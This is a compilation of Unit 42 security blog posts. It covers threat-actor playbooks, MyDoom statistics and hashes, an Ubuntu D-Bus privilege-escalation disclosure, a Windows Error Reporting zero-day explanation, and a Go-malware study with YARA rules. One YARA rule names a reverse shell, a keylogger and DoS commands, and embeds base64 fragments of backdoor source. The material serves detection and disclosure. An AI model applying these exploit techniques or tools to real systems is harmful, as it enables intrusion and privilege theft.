Here are brief descriptions of the new Unit 42 Adversary Playbooks:

  • MuddyWater: In Spring 2019, the group altered its TTPs to evade particular security controls in the BlackWater attack campaign. An espionage campaign previously conflated with FIN7 activity, MuddyWater was first reported by Unit 42 in November 2017.
  • Scarlet Mimic: Unveiled by Unit 42 in early 2016 and active since at least 2014, this espionage campaign largely targeted Tibetan and Uyghur activists using a suite of custom Windows and Android malware.
  • Inception: Active since at least 2014, this adversary used custom malware for a variety of platforms to target a range of industries, primarily in Russia, but also around the world. In October 2018 Inception used a new PowerShell backdoor and CVE-2017-11882 in attacks against European targets.
  • Windshift: In February 2019, Unit 42 shared additional targeting and technical data tied to this espionage group, first reported in October 2018. The group’s targets are primarily located in the Middle East. It is unique in that it only targets OSX systems with custom malware.
  • Sofacy: Active since at least 2007, this Russian-attributed espionage group persistently attacked government and private organizations around the world from mid-October 2018 through mid-November 2018. The majority of targets were NATO-aligned nation states, although several former USSR nation states were also targeted.
  • Chafer: Active since at least 2015, the espionage group Chafer in November 2018 targeted a Turkish government entity. While investigating, Unit 42 discovered a new secondary Python-based payload we named MechaFlounder, marking the first time Unit 42 observed this group use a Python-based payload.
  • Gorgon Group: Unit 42 researchers unveiled this group in August 2018, which performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. It was discovered while monitoring Subaat, an apparent member of Gorgon Group, who Unit 42 started tracking in 2017.
  • Cobalt Gang: While investigating ongoing commodity attacks by this group in October 2018, Unit 42 identified the use of a common macro builder and specific document metadata that allowed us to track and cluster new activity and infrastructure.
  • Th3bug: In the summer of 2014, this cyber espionage group, which compromised multiple websites to use in watering hole attacks. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and install malware intended to infect website visitors. These often target popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.
  • Rocke: In January 2019, Unit 42 revealed that this China-based cybercrime group had added new code to its Linux coin mining malware to uninstalls five different cloud security protection and monitoring products from compromised servers. The products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. This is the first malware family Unit 42 has seen with the unique capability to target and remove cloud security products.
  • CozyDuke: Active since at least 2008, this Russian-attributed espionage group launched a spear phishing campaign beginning in early July 2015 that leveraged new malware we named MiniDionis. The new malware, which is related to the group’s Seaduke malware, appeared to target government organizations and think-tanks located in democratic countries, and utilized compromised, legitimate websites for spear phishing and C2 activity.

All Adversary Playbooks can be viewed here.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

MyDoom Still Active in 2019

Posted on by Brad Duncan

Executive Summary

MyDoom is an infamous computer worm first noted in early 2004. This malware has been featured in top ten lists of the most destructive computer viruses, causing an estimated $38 billion in damage. Although now well past its heyday, MyDoom continues to be a presence in the cyber threat landscape.

While not as prominent as other malware families, MyDoom has remained relatively consistent during the past few years, averaging approximately 1.1 percent of all emails we see with malware attachments. We continue to record tens of thousands of MyDoom samples every month. The vast majority of MyDoom emails come from IP addresses registered in China, with the United States running a distant second. These emails are sent to recipients across the world, mostly targeting high tech, wholesale, retail, healthcare, education, and manufacturing industries.

This blog tracks MyDoom activity in recent years and focuses on trends during the first six months of 2019.

2015 through 2018

MyDoom's method of propagation is through email using SMTP. We compared emails containing MyDoom attachments with emails containing any type of malware attachment. In the four-year period from 2015 through 2018, an average of 1.1 percent of malicious emails contained MyDoom. When reviewing individual malware samples during the same period, MyDoom held an average of 21.4 percent for all individual malware attachments seen through malicious emails.

Why is the percentage of MyDoom emails so much lower than the percentage of MyDoom attachments? Because many malicious email campaigns carry the same malware sample across messages to hundreds or thousands of recipients. MyDoom is polymorphic and tends to have different file hashes for each of the emails we find. Therefore, while the number of MyDoom emails is relatively low, the number of samples is comparatively higher when compared to other malware distributed through email. Table 1 contains the statistics for 2015 through 2018.

Year MyDoom emails Total emails with malware % of MyDoom emails MyDoom samples Total malware samples % of MyDoom samples
2015 574,674 27,599,631 2.1% 87,119 615,386 14.2%
2016 589,107 77,575,376 0.8% 142,659 960,517 14.9%
2017 309,978 79,599,864 0.4% 95,115 340,433 27.9%
2018 663,212 64,919,295 1.0% 150,075 528,306 28.4%

Table 1. MyDoom statistics from 2015 through 2018.

Image 1. MyDoom activity levels in 2015.

Image 2. MyDoom activity levels in 2016.

Image 3. MyDoom activity levels in 2017.

Image 4. MyDoom activity levels in 2018.

MyDoom Activity in 2019

The first six months of 2019 for MyDoom activity reveals a similar average compared to all of 2018, with a slightly higher percentage of both emails and malware samples. See Table 2 for details.

Year MyDoom emails Total emails with malware % of MyDoom emails MyDoom samples Total malware samples % of MyDoom samples
Jan-Jun 2019 465,896 41,002,585 1.1% 92,932 302,820 30.1%

Table 2. MyDoom statistics in the first six months of 2019.

Image 5. MyDoom activity levels in the first six months of 2019.

574 MyDoom samples appeared across more than one month, so the total number of MyDoom malware samples in Table 3 below is different than the total of MyDoom samples in the six-month period taken as a whole in the previous table.

Month MyDoom emails MyDoom malware samples
Jan 2019 54,371 14,441
Feb 2019 47,748 11,566
Mar 2019 80,537 18,789
Apr 2019 92,049 17,278
May 2019 113,037 15,586
Jun 2019 78,154 15,846

Table 3. MyDoom month to month statistics in the first six months of 2019.

Image 6. Graph charting MyDoom activity from January through June of 2019.

Where have these emails come from? IP addresses of the top ten countries we saw during the first six months of 2019 were:

  • China: 349,454 emails
  • United States: 18,590 emails
  • Great Britain: 10,151 emails
  • Vietnam: 4,426 emails
  • Republic of Korea (South Korea): 2,575 emails
  • Spain: 2,154 emails
  • Russia: 1,007 emails
  • India: 657 emails
  • Taiwan: 536 emails
  • Kazakhstan: 388 emails

Image 7. Countries that MyDoom emails have appeared from during the first six months of 2019.

Targeted countries were more varied and evenly distributed than the source countries. Top ten targeted countries were:

  • China: 72,713 emails
  • United States: 56,135 emails
  • Taiwan: 5,628 emails
  • Germany: 5,503 emails
  • Japan: 5,105 emails
  • Singapore: 3,097 emails
  • Republic of Korea: 1,892 emails
  • Romania: 1,651 emails
  • Australia: 1,295 emails
  • Great Britain: 1,187 emails

Image 8. Targeted countries of MyDoom emails during the first six months of 2019.

The top ten verticals hit during this period were:

  • High Tech: 212,641 emails
  • Wholesale and Retail: 84,996 emails
  • Healthcare: 49,782 emails
  • Education: 37,961 emails
  • Manufacturing: 32,429 emails
  • Professional and Legal Services: 19,401 emails
  • Telecommunications: 4,125 emails
  • Finance: 2,259 emails
  • Transportation and Logistics: 1,595 emails
  • Insurance: 796 emails

These results are skewed likely towards our customer base. However, this data indicates that China and the United States are the source of most MyDoom emails and rank highest as the most targeted countries.

Characteristics of MyDoom

MyDoom distribution has had similar characteristics for years now. In February 2019, Cylance analyzed a sample of MyDoom, and current MyDoom samples follow similar characteristics. Emails distributing MyDoom are generally disguised as reports that an email was not delivered, with subject lines such as:

  • Delivery failed
  • Delivery reports about your e-mail
  • Mail System Error - Returned Mail
  • MESSAGE COULD NOT BE DELIVERED
  • RETURNED MAIL: DATA FORMAT ERROR
  • Returned mail: see transcript for details

However, we also frequently see MyDoom emails with random alphabetic characters in the subject line. MyDoom emails also use other subject lines like:

  • Click me baby, one more time
  • hello
  • Hi
  • say helo to my litl friend

Figures 8, 9, and 10 show screenshots of MyDoom email samples from July 2019.

Figure 8. Example of a MyDoom email from July 2019 (1 of 3).

Figure 9. Example of a MyDoom email from July 2019 (2 of 3).

Figure 10. Example of a MyDoom email from July 2019 (3 of 3).

Attachments from these MyDoom emails are executable files, or they are zip archives that contain executable files. MyDoom malware turns an infected Windows host into a malicious spambot, which then sends MyDoom emails to various email addresses. This will happen even if the infected Windows host does not have a mail client. Another characteristic of MyDoom is attempted connections to various IP addresses over TCP port 1042.

Figure 11. Emails traffic from a host infected with MyDoom on July 15th, 2019.

Figure 12. Attempted connections over TCP port 1042 from a host infected with MyDoom.

On a Windows 7 host, MyDoom makes a copy of itself in the user's AppData\Local\Temp directory as lsass.exe, but the malware is not made persistent in the Windows registry. On a Windows XP host, the MyDoom executable makes a copy of itself at C:\Windows\lsass.exe and is made persistent through the Windows registry in the HKEY_LOCAL_MACHINE hive with a key named Traybar at SOFTWARE\Microsoft\Windows\CurrentVersion\Run as shown in Figure 13.

Figure 13. MyDoom persistent on a Windows XP host.

Conclusion

First seen in 2004, MyDoom is still active today-- a testament to its original destructiveness. Enough infrastructure has remained infected throughout the years that we continue to see MyDoom in today's threat landscape. Although a relatively small percentage of malware-based emails contain MyDoom, this malware remains a constant presence.

Based on our data, MyDoom-infected infrastructure resides at IP addresses mostly belonging to China, with the United States running a distant second. Both China and the United States are the primary recipients of MyDoom emails, although the distribution remains global and targets many other countries. High tech is the most frequently targeted industry.

Palo Alto Networks customers are protected from MyDoom by our threat prevention platform which easily detects this malware. AutoFocus users can track MyDoom attempts by using the MyDoom tag.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

MyDoom EXE Samples from July 2019

1b46afe1779e897e6b9f3714e9276ccb7a4cef6865eb6a4172f0dd1ce1a46b42

48cf912217c1b5ef59063c7bdb93b54b9a91bb6920b63a461f8ac7fcff43e205

50dfd9af6953fd1eba41ee694fe26782ad4c2d2294030af2d48efcbcbfe09e11

6a9c46d96f001a1a3cc47d166d6c0aabc26a5cf25610cef51d2b834526c6b596

9e4c6410ab9eda9a3d3cbf23c58215f3bc8d3e66ad55e40b4e30eb785e191bf8

Cloudy with a Chance of Entropy

Posted on by Unit 42

 

Cloudy with a Chance of Entropy

The term “cloud” has been popular in the business lexicon since 2006 when Amazon Web Services (AWS) launched its Elastic Compute Cloud (EC2). The latest Cloud Threat Risk Report from Unit 42, which was released today, shows that organizations continue to struggle with securing public cloud platforms some 13 years after the launch of EC2. The report highlights key insights on cloud threats based on intelligence gathered from multiple data sources between January 2018 and late June 2019.

Among other findings, the report shows:

  • Shortcomings in on-premises patching habits are carrying over to the cloud. Unit 42 found more than 34 million vulnerabilities in customer applications running across various cloud service providers (CSPs). These vulnerabilities originate from the applications customers deploy to CSP infrastructure, such as outdated Apache servers and vulnerable jQuery packages. Researchers identified:
    • 29,128,902 vulnerabilities in customer applications running on Amazon EC2
    • 1,715,855 in customer applications running on Azure Virtual Machine
    • 3,971,632 in customer applications running on GCP Compute Engine

Patching is a struggle, as many standalone vulnerability management tools lack cloud context and remain scattered across multiple consoles. Organizations need to consolidate tools in order to create a cloud-centric view.

  • Default and unsecured container configurations are rampant. Unit 42 research reveals more than 40,000 container systems operate under default configurations. This represents nearly 51% of all publicly exposed Docker containers. Many of the systems identified allowed for unauthenticated access to the data they contained. We recommend at least placing every container with sensitive data behind a properly configured security policy or an external-facing firewall that prevents access from the internet.
  • Cloud complexity is yielding low-hanging fruit for attackers. Regarding publicly disclosed cloud security incidents, 65% were the result of misconfigurations. Organizations that had at least one Remote Desktop Protocol (RDP) service exposed to the entire internet amounted to 56%, despite the fact that all major cloud providers natively give consumers the ability to restrict inbound traffic. This represents an opportunity to consolidate cloud-based network controls with well-established on-premises management systems.
  • Malware has extended its reach to the cloud. Unit 42 found 28% of organizations communicating with malicious cryptomining C2 domains operated by the threat group Rocke. We have been closely tracking the group and noted the group’s unique tactics, techniques and procedures (TTPs), giving them the ability to disable and uninstall agent-based cloud security tools. Timely and consistent patching schedules for cloud-based systems are an expedient way to slow similar malware threats.

Download the latest “Threat Forecast: Cloudy with a Chance of Entropy” for more security insights as well as actionable recommendations to protect your cloud environment.

USBCreator D-Bus Privilege Escalation in Ubuntu Desktop

Posted on by Nadav Markus

 

Executive Summary

A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root - without supplying a password. This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root. The issue was resolved in June when Ubuntu patched the relevant packages in response to a vulnerability disclosure from Unit 42.

A Short Introduction to D-Bus

Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by privileged services to expose system-wide relevant services, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.

Each service is defined by the objects and interfaces that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its object path – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the org.freedesktop.DBus.Introspectable interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.

I used two tools to communicate with the D-Bus interface: CLI tool named gdbus, which allows to easily call D-Bus exposed methods in scripts, and D-Feet, a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains.

Figure 1. D-Feet main window

Figure 2. D-Feet interface window

D-Feet is an excellent tool that proved essential during my research. On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the org.debin.apt service, and D-Feet automatically queried the service for all the available objects. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each IPC exposed method.

We can also see the pid of the process that hosts each service, as well as its command line. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.

D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.

Figure 3. Calling D-Bus Methods through D-Feet

Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.

Figure 4. A method that requires authorization

Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. We will come back to this later in this blog post.

The Vulnerability

While researching the various D-Bus services, I looked for privileged services that act on behalf of an unprivileged user, requiring no authentication, and of course having user-controlled input that affects these operations. Without proper sanitation and validation on user input, a simple operation such as invoking a program or doing some file system I/O might lead to a compromised system.

The specific service that was vulnerable is com.ubuntu.USBCreator. Under the object denoted by /com/ubuntu/USBCreator resides the Image method. This method is used internally by Ubuntu’s USB Creator tool.

Figure 5. The com.ubuntu.USBCreator service

Figure 6. The Image method of /com/ubuntu/USBCreator

Inspecting this service, we can see it is privileged:

Figure 7. Shows service is privileged

As this service is implemented in Python, we can simply inspect the relevant source code. First we notice that the required privilege to interact with this method is com.ubuntu.usbcreator.image. We can see from the source code that polkit will be queried whether the requesting user is authorized for this request (in line 172).

Figure 8. USBCreator source code

Checking polkit’s configuration files, shown in Figure 9, we see that the Unix group sudo is entitled this capability. The relevant files reside under /var/lib/polkit-1/localauthority – specifically the file we are inspecting is /var/lib/polkit-1/localauthority/10-vendor.d/com.ubuntu.desktop.pkla.

Figure 9. The section that starts at line 26 specified which groups are allowed to access the com.ubuntu.usbcreator.image capability

Inspecting the source code for the service, we see that it contains a Python implementation of the Unix tool dd. This tool can be used, among other things, to copy files between locations. The input to the method _builtin_dd is taken directly from user input. Furthermore, no path sanitation checks are performed on the source or target path, and no password prompts are being used – this allows a user to overwrite arbitrary files on the filesystem, as root, with no password prompting, as seen in Figure 10.

Figure 10. Creating files as root without supplying a password

Conclusion

We are not aware of any active exploitation of this vulnerability. Ubuntu now requires password authentication to launch USBCreator, following the release of a patch for the bug on June 18. Palo Alto Networks endpoint protection and response offering, Traps, can prevent exploitation of this vulnerability through its Behavioral Threat Protection mechanism.

 

 

Tale of a Windows Error Reporting Zero-Day (CVE-2019-0863)

Posted on by Ryan Olson

In December 2018, a hacker who goes by the alias ‘SandboxEscaper’ publicly disclosed a zero-day vulnerability in the Windows Error Reporting (WER) component. Digging deeper into her submission, I discovered another zero-day vulnerability, which could be abused to elevate system privileges. According to the Microsoft advisory, attackers exploited this bug as a zero-day in the wild until the patch was released in May 2019.

So how did this bug work exactly?

Microsoft WER Under the Hood

The Windows Error Reporting tool is a flexible event-based feedback infrastructure designed to gather information about hardware and software problems that Windows can detect, report the information to Microsoft, and provide users with any available solutions.

For example, if Windows encounters a system crash or a failure, an error report is generated and stored under the WER report queue directory (C:\ProgramData\Microsoft\Windows\WER\ReportQueue), where each report gets its own subdirectory and a unique Report.wer INI file with the relevant metadata. To enable all processes to report their failures, the ReportQueue directory is writable for all users, as you can see below:

Figure 1. Windows Error Reporting queue directory

After a report is generated, it has to be sent to Microsoft for further analysis. This interaction can be triggered in several ways, one of which is by using a scheduled task called Windows Error Reporting\QueueReporting. This task is interesting from a security perspective because:

  • It runs with System permissions, as defined in the ‘Security Options’ section of the task.
  • It can be triggered on demand.
  • It runs a dedicated binary code with a fixed command line argument – wermgr.exe -upload.

Figure 2. Windows Error Reporting Task Schedule

After it executes, wermgr.exe interacts with the pending report files and directories. It reads the files, parses them, copies them to other directories, and sometimes even deletes them. Point being, now we have a high privileged component accessing files that can be written by any user. If not implemented with caution, this could introduce some serious security vulnerabilities.

Abusing Filesystem Links

Windows supports different types of filesystem links, that can be used to point files and directories to other target files and directories. Quite simply, once the links are scanned and reparsed, they redirect the user to the target path(s). From a security perspective, the greatest threat comes from abusing hard links and mount points since users can link them to files or directories to which they have no writing permissions in the first place.

The example below depicts how a user with no writing permissions to kernel32.dll can create a link between c:\temp\Dir\x.dll and C:\Windows\System32\kernel32.dll. Being able to redirect to more privileged components is essentially all a hacker needs, enabling him to read, write and even delete sensitive, critical files.

Figure 3. Creating a hard link to a file that the user does not have privileges to writespa

Explaining the Bug

In short, the hacker exploits the ability of WER to change file permissions in order to assign himself read, write, edit and delete permissions to any other file he wants, by linking files in the report directory to different target files on the computer, using the above-mentioned filesystem linking.

In more detail, this is the full bug scenario:

  • Step 1: wermger.exe parses all files in the report directories, one by one, and submits them to Microsoft.
  • Step 2: When wermger.exe detects a corrupt Report.wer INI file, it will eventually delete it, however first it changes the file’s DACL properties by adding the process executer permission to delete this file.
  • Exploit: The hacker exploits the short window of opportunity that occurs between the time wermger.exe reads the file’s DACL, and the time it takes for it to add the delete permission to the file. If the attacker creates a link between such a file to any other file on the system, after the DACL is read, wermgr.exe will incorrectly modify the security descriptor of the other file. We can all agree this is a very, very bad scenario.

Step 1:

The first thing wermgr.exe -upload does is call the wermgr!DoCoreUpload function, which lists all the subdirectories under ReportQueue. It reads the error reports and submits them to Microsoft:

 

Step 2:

When wermgr.exe encounters a corrupt Report.wer INI file, it changes its DACL in order to later on delete it. More specifically,

  1. First, wermgr!DeleteCorruptedReportFromStore lists all the files under the report’s subdirectory;
  2. Then, wermgr!PreparePathForDeletion modifies the permissions for each file. This is where the core bug resides, since this function reads the file’s security descriptor using kernel32!GetFileSecurity and calls kernel32!SetFileSecurity to apply the delete descriptor to the file.

 

Creating the link at the exact right time is extremely difficult, yet a persistent hacker will try again and again until he succeeds. Attackers are likely to target executable files (DLLs, EXEs or scripts) and override them with malicious payload, knowing they will later on be executed with System permissions.

Traps Provides Behavior-based Protection

Palo Alto Networks Traps for endpoint protection and response stops threats on endpoints and coordinates enforcement with network and cloud security to prevent successful cyberattacks. Traps stops malware, exploits and ransomware by observing attack techniques and behaviors, incorporating Machine Learning (ML) and Artificial Intelligence (AI) to automatically detect and respond to sophisticated attacks. To prevent this bug, the Behavioral Threat Protection (BTP) feature in Traps would monitor malicious behaviors across a sequence of events, and immediately terminate the attack when it was detected. In addition, Traps Local Analysis via ML prevents malicious payloads from executing.

To learn more about Traps, visit us at ttps://www.paloaltonetworks.com/products/secure-the-endpoint/traps.

 

The Gopher in the Room: Analysis of GoLang Malware in the Wild

Posted on by Josh Grunzweig

Executive Summary

In recent months, I have taken a keen interest in malware written in the Go programming language. Go, sometimes referred to as GoLang, was created by Google in 2009 and has gained additional popularity within the malware development community in recent years.

While there have been an increased number of blogs in recent years discussing Go malware families, I wanted to know if this programming language was indeed on the rise when it pertained to malware. Additionally, I was curious what malware families would be most prevalent, as there is a notion among many that Go is primarily used by penetration testers and red teamers. With that in mind, I set out to collect as much malware written in Go as possible, and cluster it by malware family. The blog discusses my methodology of data collection and my results.

In total, roughly 10,700 unique malware samples written in Go were obtained. Based on the samples’ first seen timestamps, we can conclude that Go-compiled malware has been steadily on the rise for a number of months. Additionally, 92% of the samples identified were compiled for the Windows operating system, indicating that this is the most heavily targeted system by Go malware developers.

Of the samples, 75% were able to have their malware family identified. The most prominent malware families included Veil, GoBot2, and HERCULES. Additionally, the most prevalent malware groupings included Pentesting, Remote Access Trojans (RATs), and Backdoors.

For a point of clarification, the distinction made between RATs and Backdoors pertains to the malware family’s feature sets. Those that simply provided minimal functionality and provided remote access were labeled as a Backdoor, while fully featured Remote Access Trojans were labeled as such.

Why Write in Go?

Go has a number of features that might entice an attacker to use this particular programming language. Certainly one of the biggest draws to Go is the fact that a single codebase may be compiled for all of the major operating system platforms, including Windows, OSX, and Linux. This allows an attacker to focus on a single codebase that can be used to infect victims on various platforms, versus other programming languages that might require an attacker to have three different code repositories.

Other alternatives include using a universal scripting language, such as Python, to write their codebase. This was seen previously by the Chafer threat group that wrote one of their payloads in Python. The Seaduke malware family is another example of a threat group that took this approach. However, as Windows historically has not provided Python natively within the environment, in order for these codebases to properly execute in this environment, they must rely on packaging them using a utility such as PyInstaller. Such a tool, while accomplishing the job, leaves a number of traces in files it drops at runtime. Alternatively, Go leaves none of these artifacts, which may be to the benefit of the attacker.

Another positive to Go (or negative depending how you view it) is the fact that all necessary libraries are statically linked within the compiled binary. This typically results in a binary of a higher than average size. Of the 10,700 malware samples written in Go, the average size of these samples was 4.65MB. This is far larger than malware is typically, making it more difficult to use in Trojaned packages. Additionally, it may be more difficult to include in phishing emails as the attachment’s large size may not be permitted by the email server.

However, this large size has unexpected benefits as well. In certain circumstances, anti-virus products may ignore files, or be unable to scan them, in the event they are too large. This was witnessed in the past in targeted attacks involving the Comnie malware family, where the malware authors appended 64MB of garbage data to their files in an attempt to circumvent anti-virus products.

Methodology

To begin this research, I originally had to collect as many malware samples compiled in Go as I possibly could. However, this task alone proved to be relatively difficult. The repositories used for this research included both our own, as well as the third-party VirusTotal service. To start, I began by simply collecting all of the Go samples that could be identified, regardless of whether they were malicious.

To collect these samples, I took a number of approaches, including, but not limited to, the following:

  • OSX or Linux samples with embedded URLs referencing ‘Go.org’
  • Samples using the ‘Go-http-client/1.1’ user-agent
  • Samples using the ‘GRequests’ user-agent
  • PE samples containing the ‘.symtab’ section name
  • PE samples using a series of identified import hashes
  • OSX samples referencing Google’s gopacket github repository
  • OSX samples referencing gopkg.in
  • Samples matching YARA rules

Regarding the YARA rules, three separate rules were created to identify Go samples for each of the major platforms. As an example, the following rule was used to identify Go samples compiled for OSX:

rule osx_GoLang

{

meta:

     author = "Josh Grunzweig"

     description = "Attempts to identify samples written in Go     

     compiled for OSX."

     strings:

          $Go = "go.buildid"

     condition:

          (

               uint32(0) == 0xfeedface or

               uint32(0) == 0xcefaedfe or

               uint32(0) == 0xfeedfacf or

               uint32(0) == 0xcffaedfe or 

               uint32(0) == 0xcafebabe or

               uint32(0) == 0xbebafeca

          ) and

          $Go

}

Using these various techniques, I was able to aggregate roughly 611,000 unique samples.

After all sample hashes were acquired, I queried both our systems as well as VirusTotal to determine which samples were malicious. I simply checked for a verdict of ‘malware’ or 5 or more positives in the case of VirusTotal. Finally, I downloaded these remaining samples and ran the previously created YARA rules against them to confirm they were in fact Go samples. When it was all said and done, I was left with around 13,000 unique samples.

Now that I had my dataset, I began to work on clustering these samples into their respective malware families. To do this I primarily took a manual approach, analyzing a given file and creating YARA rules based on the identified malware family. To assist me, I also wrote some helper scripts to extract helpful information from the identified binaries. The following helper script attempts to extract user-defined function names from the binary, as well as any user-defined paths that may exist:

import sys

import re

inputfile = sys.argv[1]

fh = open(inputfile, 'rb')

fd = fh.read()

fh.close()

minimum = 5

char = r"[\t\n\x20-\x7f]" + "{{{},}}".format(minimum)

wchar = r"(([\t\n\x20-\x7f]\x00)" + "{{{},}}".format(minimum) + r"\x00)"

allStrings = []

for s in re.findall(char, fd):

     allStrings.append(s)

for s in re.findall(wchar, fd):

     allStrings.append(s[0].replace("\x00",''))

 

blacklist = []

allStr = []

for s in allStrings:

     if s[-3:] == ".go" and "main.go" in s:

          allStr.append(s)

     elif s[0:5] == "main.":

          if "statictmp" not in s:

               if ".init." not in s:

                    if ".(*" not in s:

                         allStr.append(s)

for x in list(set(allStr)):

     print(repr(x))

An example of running this is below:

$ python find_interesting_strings.py fc684bbf9428a4e33c390e3963c9bfa24e81cb040ccd601c6e7f5b6c193e2808.bin

'main.encryptFile'

'main.writeLog.func1'

'main.writeLog'

'main.init'

'main.scanDir'

'main.ignoreUsersFolders'

'main.ignoreRootFolders'

'main.encryptFile.func1'

'main.logFilePath'

'main.ignoreProgramFilesFolders'

'C:/Users/pc/go/src/scaner/main.go'

'main.ignoreProgramDataFolders'

'main.initdone'

'main.makeReadmeFile.func1'

'main.ignoreFiles'

'main.ignoreFileExtensions'

'main.main'

'main.makeReadmeFile'

'main.DEBUG'

This allowed me to easily determine which function names and code paths were most common, and in some cases allowed me to cluster samples based on this information alone. One example of a malware family’s YARA rule is as follows:

rule trojan_golang_hercules: Pentesting

{

     meta:

          author = "jgrunzweig - PaloAltoNetworks"

          date = "2019-06-15"

          description = "the HERCULES malware family written in     

          Go."

          hash1 = "2a7da0a0acadb61fb79fa4a33130d09ecff5a904b0999d264d8c1edffeffea95"

          hash2 = "6e68dafbb717daf6a505d8a95c41e5114d91c4fde703343356352c1ca5cd24ea"

          hash3 = "645ed38f2d55b2f7731d5c9223329428592497eb95c96bcd7c01a4eaeb38e137"

          reference = "https://github.com/EgeBalci/HERCULES"

     strings:

          $buildid = "go.buildid"

          $uniq1 = "cGFja2FnZSBtYWluCgppbXBvcnQgIm5ldCIKaW1wb3J0ICJvcy9leGVjIgppbXBvcnQgImJ1ZmlvIgppbXBvcnQgInN0cmluZ3MiCmltcG9ydCAic3lzY2FsbCIKaW1wb3J0ICJ0aW1lIgppbXBvcnQgIkVHRVNQTE9JVCIKCgoKY29uc3QgSVAgc3RyaW5nID0gIjEwLjEwLjEwLjg0Igpjb25zdCBQT1JUIHN0cmluZyA9ICI1NTU1IgoKY29uc3QgQkFDS0RPT1IgYm9vbCA9IGZhbHNlOw"

          $uniq2 = "cGFja2FnZSBtYWluCgoKaW1wb3J0ICJlbmNvZGluZy9iaW5hcnkiCmltcG9ydCAic3lzY2FsbCIKaW1wb3J0ICJ1bnNhZmUiCi8vaW1wb3J0ICJFR0VTUExPSVQvUlNFIgoKY29uc3QgTUVNX0NPTU1JVCAgPSAweDEwMDAKY29uc3QgTUVNX1JFU0VSVkUgPSAweDIwMDAKY29uc3QgUEFHRV9BbGxvY2F0ZVVURV9SRUFEV1JJVEUgID0gMHg0MAoKCnZhciBLMzIgPSBzeXNjYWxsLk5ld0"

          $uniq3 = "cGFja2FnZSBtYWluCgppbXBvcnQgIm5ldC9odHRwIgppbXBvcnQgInN5c2NhbGwiCmltcG9ydCAidW5zYWZlIgppbXBvcnQgImlvL2lvdXRpbCIKLy9pbXBvcnQgIkVHRVNQTE9JVC9SU0UiCgoKCmNvbnN0IE1FTV9DT01NSVQgID0gMHgxMDAwCmNvbnN0IE1FTV9SRVNFUlZFID0gMHgyMDAwCmNvbnN0IFBBR0VfQWxsb2NhdGVVVEVfUkVBRFdSSVRFICA9IDB4NDAKCnZhciBLMzIgPS"

         $path = "/HERCULES/"

 

         $banner = "HERCULES REVERSE SHELL"

         $help1 = "~DOS -A \"www.targetsite.com\""

         $help2 = "~WIFI-LIST "

         $help3 = "~KEYLOGGER-DUMP "

         $help4 = "Creates a reverse http meterpreter session at given pid (EXPERIMENTAL)"

 

     condition:

          (

                // Windows binary

               (uint16(0) == 0x5a4d) or

               // OSX binary

               (

                    (

                         uint32(0) == 0xfeedface or

                         uint32(0) == 0xcefaedfe or

                         uint32(0) == 0xfeedfacf or

                         uint32(0) == 0xcffaedfe or

                         uint32(0) == 0xcafebabe or

                         uint32(0) == 0xbebafeca)

                    ) or

                    // Linux binary

                    (uint32(0) == 0x464C457F)

               ) and

               filesize > 500KB and

               $buildid and

               (

                    any of ($uniq*) or

                    $banner or

                    any of ($help*) or

                    $path

               )

}

This manual approach also allowed me to identify false positives. When I was finally through, about 2,000 false positives had been identified. This brought my total malware sample count to 10,700. Of these, 75% were identified as malware.

A total of 53 unique malware families were identified during this research, with a YARA rule being created for each.

Results

Perhaps one of the most clear conclusions to draw from this research is the relatively small number of malware files compiled in Go that were identified. While it is possible this may have been a result of my methodology, I believe it’s a fairly accurate number overall. Go as a malware development language is still very much in its infancy, and has yet to truly gain high popularity among this community. That being said, looking at a timeline of the malware samples compiled in Go’s first seen dates, we can see that it appears to be growing in popularity.

Figure 1. Timeline of Go Malware samples based on first seen dates.

Another possibly interesting result from this research was identifying what operating systems for which Go malware samples were most frequently compiled. In total, the majority were written for Windows, which may come as no surprise for many.

Figure 2. Operating systems for which Go malware samples were compiled.

In total, 92% of the Go malware samples identified were compiled for the Windows operating system, 4.5% were compiled for Linux, and the remaining were compiled for OSX. As Windows continues to be the most heavily targeted platform by attackers, this data is not surprising. However, I personally thought going into this research that the Windows operating system would not have such a large percentage of the overall malware identified.

As I previously stated, a total of 53 malware families were identified during the course of this research. The results are as follows:

Malware Family Malware Count (Percentage)
Veil 3772 (47%)
